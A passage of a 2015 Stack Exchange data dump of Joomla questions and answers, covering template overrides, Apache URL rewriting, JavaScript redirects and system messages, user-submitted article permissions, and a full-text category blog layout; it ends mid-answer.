  <row Id="10350" PostTypeId="2" ParentId="10331" CreationDate="2015-06-09T18:59:43.577" Score="1" Body="&lt;p&gt;If you can live with a single menu item being attached to every article, then use the menu item to apply either a new template or a new style.&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-06-09T18:59:43.577" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10351" PostTypeId="2" ParentId="7126" CreationDate="2015-06-09T19:10:22.000" Score="1" Body="&lt;p&gt;Might not be the cache. If I understand your question correctly it might be the browser itself. According to the W3 spec, a browser's back button is not supposed to revalidate, it's simply supposed to show the page the way it was. More and more that is becoming the default behavior for browsers, meaning you have to use other options when coding your page in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://256.com/gray/docs/rfc2616/13.html#13.13&quot; rel=&quot;nofollow&quot;&gt;http://256.com/gray/docs/rfc2616/13.html#13.13&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5394" LastActivityDate="2015-06-09T19:10:22.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10352" PostTypeId="2" ParentId="10344" CreationDate="2015-06-09T20:08:16.600" Score="1" Body="&lt;p&gt;I'm using apache virtual hosts so the right way to use url rewriting:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Enable Apache Mod_Rewrites (if not enabled): &lt;code&gt;sudo a2enmod rewrite&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Edit apache site config file: &lt;code&gt;sudo nano /etc/apache2/sites-available/default&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Directory /var/www/&amp;gt;&#xA;            Options Indexes FollowSymLinks MultiViews&#xA;            AllowOverride All&#xA;            Order allow,deny&#xA;            allow from all&#xA;&amp;lt;/Directory&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sudo service apache2 restart&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Enable URL Rewriting (Joomla Configuration)&lt;/li&gt;&#xA;&lt;li&gt;Rename htaccess.txt to .htaccess&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now &lt;strong&gt;URL Rewriting&lt;/strong&gt; will work.&lt;/p&gt;&#xA;" OwnerUserId="3676" LastEditorUserId="1629" LastEditDate="2015-06-10T04:52:37.877" LastActivityDate="2015-06-10T04:52:37.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10353" PostTypeId="1" CreationDate="2015-06-09T20:17:33.447" Score="0" ViewCount="669" Body="&lt;p&gt;If I set the menu link to be an article, it shows a blank page - if I set the menu to be a category blog, it all works fine... but when I want to show regular articles, and a single article it won't work - even if I remove all coding from the template 'index.php' file (besides the html and body tags etc) and add one word, it doesn't work. Just shows a blank page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on this site both the homepage and 'About Us' are using the template in question, while other pages use protostar for now while I test.&#xA;e.g. &#xA;Home page is working because it's a category blog, but this page is not working because it's an article: &lt;a href=&quot;http://dev.addrenaline.com/acces/index.php?option=com_content&amp;amp;view=article&amp;amp;id=2&amp;amp;Itemid=101&quot; rel=&quot;nofollow&quot;&gt;http://dev.addrenaline.com/acces/index.php?option=com_content&amp;amp;view=article&amp;amp;id=2&amp;amp;Itemid=101&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...but with protostar, articles are working just fine: &lt;a href=&quot;http://dev.addrenaline.com/acces/index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;Itemid=108&quot; rel=&quot;nofollow&quot;&gt;http://dev.addrenaline.com/acces/index.php?option=com_content&amp;amp;view=article&amp;amp;id=3&amp;amp;Itemid=108&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just to confirm, the template works fine on homepage (a category blog) and blank on inner pages - About Us page is assigned - but 'standard' templates work fine, like protostar, so the actual articles/etc are fine, it must be a template problem...&lt;/p&gt;&#xA;" OwnerUserId="5395" LastEditorUserId="5395" LastEditDate="2015-06-09T20:37:06.953" LastActivityDate="2015-06-09T21:37:25.680" Title="Joomla 3 - template only works with category, will not show single article" Tags="|joomla-3.x|templates|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10354" PostTypeId="2" ParentId="10353" CreationDate="2015-06-09T21:37:25.680" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;it must be a template problem...&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;-which can be a template override problem for the articles.   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a quick check if this is the reason, see if there is a html folder inside your template - if yes, then rename it to something like html-off and see if article pages work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, where are you going and what are you trying to fix without error_reporting enabled?&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-06-09T21:37:25.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10355" PostTypeId="2" ParentId="10344" CreationDate="2015-06-10T05:26:34.357" Score="2" Body="&lt;p&gt;It should not be necessary to modify/add your &lt;code&gt;.htaccess&lt;/code&gt; rules in order to remove &lt;code&gt;index.php&lt;/code&gt; from your url, it usually works out of the box if you enable &lt;strong&gt;URL Rewriting&lt;/strong&gt; in the Joomla Configuration, and rename &lt;code&gt;htaccess.txt&lt;/code&gt; to &lt;code&gt;.htaccess&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you seem to have found a solution, I'd like to add a clarification on the use of &lt;code&gt;RewriteBase&lt;/code&gt; in the &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /JoomlaSubFolder&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This line should be un-commented and edited if you have installed Joomla in a subfolder on your server (in this case, &lt;code&gt;ROOT/JoomlaSubFolder&lt;/code&gt;). However, this is &lt;em&gt;relative to your &lt;strong&gt;URL&lt;/em&gt;&lt;/strong&gt;, so it is only correct if you access your site using &lt;a href=&quot;http://example.com/JoomlaSubFolder&quot; rel=&quot;nofollow&quot;&gt;http://example.com/JoomlaSubFolder&lt;/a&gt; (or &lt;a href=&quot;http://localhost/JoomlaSubFolder&quot; rel=&quot;nofollow&quot;&gt;http://localhost/JoomlaSubFolder&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, if you have installed Joomla in the same subfolder, but use a unique URL to access the site (e.g. &lt;a href=&quot;http://joomla.example.com&quot; rel=&quot;nofollow&quot;&gt;http://joomla.example.com&lt;/a&gt;, &lt;a href=&quot;http://example2.com&quot; rel=&quot;nofollow&quot;&gt;http://example2.com&lt;/a&gt;, or &lt;a href=&quot;http://www.ncci-server.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.ncci-server.com/&lt;/a&gt;), you should leave it as it is in the default &lt;code&gt;.htaccess&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is often the case when using addon domains on Apache servers, as these are located within a subfolder of the main domain, but has a different domain assigned.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-06-10T05:26:34.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10356" PostTypeId="1" CreationDate="2015-06-10T06:09:50.367" Score="1" ViewCount="48" Body="&lt;p&gt;There is a problem with this page:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pubsaregreat.co.uk/culture?category=18&amp;amp;view=pubs&quot; rel=&quot;nofollow&quot;&gt;http://www.pubsaregreat.co.uk/culture?category=18&amp;amp;view=pubs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is not showing images or the Google map, I've debugged it in the Console and it is showing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ReferenceError: getMainImage is not defined&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have checked through all of the code and the 'getMainImage' is defined within the component (it's a custom component) and it has previously worked - it is also being loading by the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The getMainImage function is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function getMainImage(venueId, container){&#xA;    jQuery('&amp;lt;img id=&quot;'+venueId+'_img&quot; src=&quot;&amp;lt;?php echo JURI::root().'administrator/components/com_inapub/proxy.php?getphoto=main&amp;amp;venue_id=';?&amp;gt;'+venueId+'&quot; /&amp;gt;').load(function(){&#xA;            jQuery(container +' :first').replaceWith(this);&#xA;        });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas where I'm going wrong please?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2015-06-10T09:31:37.473" LastActivityDate="2016-01-06T13:06:27.617" Title="ReferenceError: 'getMainImage' is not defined but it is" Tags="|component|joomla-3.3.x|javascript|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10357" PostTypeId="1" CreationDate="2015-06-10T08:29:32.027" Score="3" ViewCount="40" Body="&lt;p&gt;I remember that long long ago there was an extension called JA submit that let users create unpublished Joomla articles, that I could then go into Joomla, edit, and approve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would essentially want to setup a similar editorial pipeline for user-contributed content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this now that Joomla has access levels?, or should I create my own component?&lt;/p&gt;&#xA;" OwnerUserId="5396" LastActivityDate="2015-06-10T10:17:50.380" Title="Is there an out-of-the-box way to configure user-submitted content?" Tags="|joomla-3.x|content|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10358" PostTypeId="2" ParentId="10357" CreationDate="2015-06-10T09:06:52.377" Score="2" Body="&lt;p&gt;&lt;strong&gt;For Registered Users&lt;/strong&gt; : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the registered users to submit &quot;Articles&quot; then all you have to do is to create a new menu item -&gt; Select Type -&gt; Articles -&gt; Create Article and set the access to &lt;strong&gt;Registered&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Public Users&lt;/strong&gt; :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the public users to submit &quot;Articles&quot; then you have to give this permission to the &quot;Public&quot; user group. Go to &lt;strong&gt;Content&lt;/strong&gt; -&gt; &lt;strong&gt;Article Manager&lt;/strong&gt; -&gt; &lt;strong&gt;Options&lt;/strong&gt; -&gt; &lt;strong&gt;Permissions&lt;/strong&gt; select the public tab and change the &quot;Create&quot; setting to &lt;strong&gt;Allowed&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can configure which category you want the users to submit their articles in from the category permissions tab.&lt;/p&gt;&#xA;" OwnerUserId="5387" LastActivityDate="2015-06-10T09:06:52.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10359" PostTypeId="2" ParentId="10356" CreationDate="2015-06-10T09:47:04.110" Score="1" Body="&lt;p&gt;Just some spare of the moment (possible) solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try wrapping your function in document read:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;&#xA;    function getMainImage(venueId, container) &#xA;    {&#xA;        $('&amp;lt;img id=&quot;'+venueId+'_img&quot; src=&quot;&amp;lt;?php echo JUri::root().'administrator/components/com_inapub/proxy.php?getphoto=main&amp;amp;venue_id=';?&amp;gt;'+venueId+'&quot; /&amp;gt;').load(function(){&#xA;            $(container +' :first').replaceWith(this);&#xA;        });&#xA;    }&#xA;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try making &lt;code&gt;getMainImage&lt;/code&gt; a global function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;getMainImage = function(venueId, container) &#xA;{&#xA;    jQuery('&amp;lt;img id=&quot;'+venueId+'_img&quot; src=&quot;&amp;lt;?php echo JUri::root().'administrator/components/com_inapub/proxy.php?getphoto=main&amp;amp;venue_id=';?&amp;gt;'+venueId+'&quot; /&amp;gt;').load(function(){&#xA;        jQuery(container +' :first').replaceWith(this);&#xA;    });&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-10T09:47:04.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10360" PostTypeId="2" ParentId="10357" CreationDate="2015-06-10T10:17:50.380" Score="1" Body="&lt;p&gt;Article Access Levels:&#xA;Goto backend -&gt; Content -&gt; Article manager -&gt; Options -&gt; Permissions -&gt; Here, you can set the access levels for example public user access which of the things simular to all.&lt;/p&gt;&#xA;" OwnerDisplayName="user3604" LastActivityDate="2015-06-10T10:17:50.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10361" PostTypeId="1" CreationDate="2015-06-10T12:42:13.617" Score="0" ViewCount="741" Body="&lt;p&gt;I would like to make a system message appear using Javascript. I have used the following code so far to make the system message appear:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  var jmsgs = ['Deletion cancelled - no records deleted.'];&#xA;  Joomla.renderMessages({'alert': jmsgs });&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This almost works as I want it. The message appears but the styling isn't working. This is how it is displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/agQeq.png&quot; alt=&quot;Javascript system message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Normally when I use PHP to make the system messages appear they have CSS styling applied, eg using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$msg = 'Very helpful message';&#xA;JFactory::getApplication()-&amp;gt;enqueueMessage($msg, 'message'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how it looks using PHP and how I want it to look using Javascript.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/U2IJC.png&quot; alt=&quot;PHP system message&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way I can make Javascript display the system message so the styling is applied? &lt;/p&gt;&#xA;" OwnerUserId="4097" LastActivityDate="2015-06-10T12:42:13.617" Title="How do I make a system message appear with Javascript with the right CSS?" Tags="|javascript|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10362" PostTypeId="1" CreationDate="2015-06-10T12:46:25.887" Score="1" ViewCount="356" Body="&lt;p&gt;I have installed a plugin &quot;Script Merge&quot; after I edit the configuration for the plugin Joomla throws the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;You are not permitted to use that link to directly access that page (#820). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;When I try to click on the link to edit it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a way to overcome this error by Disable cache (while Chrome DevTools is open) but why the error happening and what's the relation between cache and plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please Advice,&lt;/p&gt;&#xA;" OwnerUserId="3676" LastEditorUserId="168" LastEditDate="2015-06-10T13:13:47.143" LastActivityDate="2017-02-26T00:28:58.037" Title="Permission error after updating plugin" Tags="|joomla-3.x|plugin|cache|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10363" PostTypeId="2" ParentId="10362" CreationDate="2015-06-10T13:40:40.687" Score="1" Body="&lt;p&gt;This error is generated by Joomla if a security check failed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you try to edit something in Joomla, it needs to go through the respective controller task. This controller then sets the id of the requested item in the user state after it has checked all ACL things. Afterwards it redirects to the edit view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The display controller then checks that user state again for the requested id and if it's not set, raises this error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for some reason you're trying to access the edit view without first going properly through the controllers edit task.&#xA;One reason may be that you reloaded the page manually. Or maybe the session timed out (and thus user states got lost) while doing the edits.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-10T13:40:40.687" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10364" PostTypeId="1" AcceptedAnswerId="10548" CreationDate="2015-06-10T14:17:34.320" Score="3" ViewCount="1847" Body="&lt;p&gt;I'm having problems creating an internal redirect using MenuItems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've created a menu item called 'sale'. I've found the menu item in the database and the alias is 'sale'. I've set the url to  /mycomponent?id=3 and published the menu item, but /sale causes a 404 instead of loading  /mycomponent?id=3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I noticed that there is no alias for external urls, and that there was some debate over if it was needed for internal urls:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=29264&quot; rel=&quot;nofollow&quot;&gt;http://joomlacode.org/gf/project/joomla/tracker/?action=TrackerItemEdit&amp;amp;tracker_item_id=29264&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use the Redirect component for this. We have three environments, and that would involve setting up a redirect in each environment. If I can get the menu item working then it can be transferred between environments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to setup an internal url using menu items? If so how is that accessed by alias?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2015-06-23T23:25:52.710" LastActivityDate="2015-06-23T23:25:52.710" Title="How do I get a menu item to send a parameter to a component?" Tags="|menu-item|redirect|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10366" PostTypeId="1" AcceptedAnswerId="10377" CreationDate="2015-06-10T16:20:41.737" Score="1" ViewCount="3678" Body="&lt;p&gt;I'm using Joomla 3 and want to use Javascript to find the base url of the page, extend this url with some other bits and send a variable through the url. Then open this page in the same window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically if the base url is 'www.webpage.com', I would like to add '\index.php\animals' and then a variable '?delete=true'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far my code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var urlRedirect = location.host + '/index.php/animals?delete=true';&#xA;window.open(urlRedirect,&quot;_self&quot;,false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I use an alert to view urlRedirect I can see the entire url I would expect eg www.webpage.com/index.php/animals?delete=true but the page is not opening where I want. It is just going to be the base url, I suspect the default page if a weird url is entered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What code should I use to do this?&lt;/p&gt;&#xA;" OwnerUserId="4097" LastEditorUserId="4097" LastEditDate="2015-06-11T08:44:05.357" LastActivityDate="2018-05-07T13:28:04.953" Title="How do I use Javascript to find the baseurl, add some other parts of a url and open in a new page?" Tags="|joomla-3.x|javascript|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10367" PostTypeId="2" ParentId="10366" CreationDate="2015-06-10T17:39:53.947" Score="0" Body="&lt;p&gt;Use below code to get the host name&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.location.host&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And to open the url in same tab/page, use either&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.location.href = window.location.host + '/index.php/animals/?delete=true';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;window.open(window.location.host + '/index.php/animals/?delete=true','_self');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4134" LastActivityDate="2015-06-10T17:39:53.947" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10368" PostTypeId="1" CreationDate="2015-06-10T21:42:52.890" Score="3" ViewCount="121" Body="&lt;p&gt;It seems somewhat wasteful to zip the PHP files and then unzip at the target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this through composer, or some sort of web or CLI install procedure?&lt;/p&gt;&#xA;" OwnerUserId="5396" LastActivityDate="2015-06-11T06:47:45.140" Title="How can Joomla be put in Continuous Deployment?" Tags="|installation|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10370" PostTypeId="2" ParentId="10368" CreationDate="2015-06-11T06:47:45.140" Score="2" Body="&lt;p&gt;You can't use composer here. But you should be able to use a git repo and pull the latest changes from there. However it doesn't take care of the SQL. So if you're installing things in your dev enviroment, it will not be installed on the production server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's about modifying files, like template adjustements or extension development, then it will work fine.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-11T06:47:45.140" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10371" PostTypeId="1" CreationDate="2015-06-11T07:09:05.590" Score="2" ViewCount="1886" Body="&lt;p&gt;Hi Joomla community Ι need help . I have one item in my main menu (default item menu) and Ι want to unpublished this item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I hit the Unpublish button it shows me an error: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Error Can't unpublish default home&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="5195" LastEditorUserId="126" LastEditDate="2015-08-21T14:10:27.490" LastActivityDate="2015-08-21T14:10:27.490" Title="How Ι can unpublish one menu item (default item) from the menu?" Tags="|joomla-3.x|menu-item|administration|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10372" PostTypeId="2" ParentId="10371" CreationDate="2015-06-11T07:17:07.173" Score="3" Body="&lt;p&gt;Joomla requires a home menu item to be set. The error message you get states exactly this. You can't unpublish the default home menu item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing here is what you want to do and why. Why you would want to unpublish the home menu item?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually if you want to have a different home page, you can just change the settings of the current home menu item. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you really want to unpublish the current home menu item, then first you need to specify another menu item as the default (home menu item) and then unpublish it.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2015-06-11T07:17:07.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10374" PostTypeId="1" AcceptedAnswerId="10375" CreationDate="2015-06-11T08:26:33.890" Score="3" ViewCount="17505" Body="&lt;p&gt;Hello Joomla community,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to create a category blog layout where all articles are shown with their entire content. I.e. without having the article shortened at the 'read more' position. What's the easiest way to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice is welcome,&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5340" LastEditorUserId="126" LastEditDate="2015-06-11T12:51:02.250" LastActivityDate="2022-11-30T10:58:26.443" Title="How to create a category blog layout with all articles shown in full?" Tags="|joomla-3.x|joomla-3.4|template-override|content|com-content|" AnswerCount="5" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10375" PostTypeId="2" ParentId="10374" CreationDate="2015-06-11T08:56:03.040" Score="10" Body="&lt;h2&gt;About Joomla Intro &amp; Full Article Text&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Well, here is how this works:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When creating an article, you have the option to insert a &quot;&lt;strong&gt;Read More&lt;/strong&gt;&quot; in your article.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What happens when you insert the Read More is that it splits the content of the article into 2 pieces, and it saves these 2 pieces in 2 database columns in the db &lt;code&gt;#__content&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The text before the Read More goes into the &lt;code&gt;introtext&lt;/code&gt; and the text after the Read More goes into the &lt;code&gt;fulltext&lt;/code&gt; column.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't use the Read More, then the whole text goes into the &lt;code&gt;introtext&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Later the blog category layout always renders the introtext of the article.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The simple way to show full text in blog layout:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So, the easiest way to have a category blog layout showing the full text, is to not insert the Read More into your articles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you feel a bit more adventurous, you can customize the blog category layout to suit your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Alternative Layouts&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I would suggest to create an &lt;strong&gt;Alternative Menu Item&lt;/strong&gt; for the Blog Category Layout, as it will allow you create menu items for any category and still be able to have different layouts for them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here is how to do it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1. Create the required files for the alternative layout:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Inside :&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;components/com_content/views/category/tmpl&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Clone (duplicate) the files listed below and rename the cloned files :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;blog.php&lt;/code&gt; duplicate and rename to-&gt; &lt;code&gt;blogfull.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;blog.xml&lt;/code&gt; -&gt; &lt;code&gt;blogfull.xml&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;blog_children.php&lt;/code&gt; -&gt; &lt;code&gt;blogfull_children.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;blog_item.php&lt;/code&gt; -&gt; &lt;code&gt;blogfull_item.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;blog_links.php&lt;/code&gt; -&gt; &lt;code&gt;blogfull_links.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2. Edit the new xml file&lt;/strong&gt;&lt;br&gt;&#xA;Open the blogfull.xml and edit the top lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;COM_CONTENT_CATEGORY_VIEW_BLOG_TITLE&quot; option=&quot;COM_CONTENT_CATEGORY_VIEW_BLOG_OPTION&quot;&amp;gt;&#xA;        &amp;lt;help key = &quot;JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG&quot; /&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;            &amp;lt;![CDATA[COM_CONTENT_CATEGORY_VIEW_BLOG_DESC]]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to something like: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout title=&quot;Blog Full Text&quot; option=&quot;Blog Category Layout with Full Text&quot;&amp;gt;&#xA;        &amp;lt;help key = &quot;JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG&quot; /&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;            &amp;lt;![CDATA[Blog Category Layout with Full Text]]&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3. Edit the new template file of the blog item.&lt;/strong&gt;&lt;br&gt;&#xA;Open the   and edit line around 47:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;event-&amp;gt;beforeDisplayContent; ?&amp;gt; &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change to:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;event-&amp;gt;beforeDisplayContent; ?&amp;gt; &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;introtext; echo $this-&amp;gt;item-&amp;gt;fulltext; 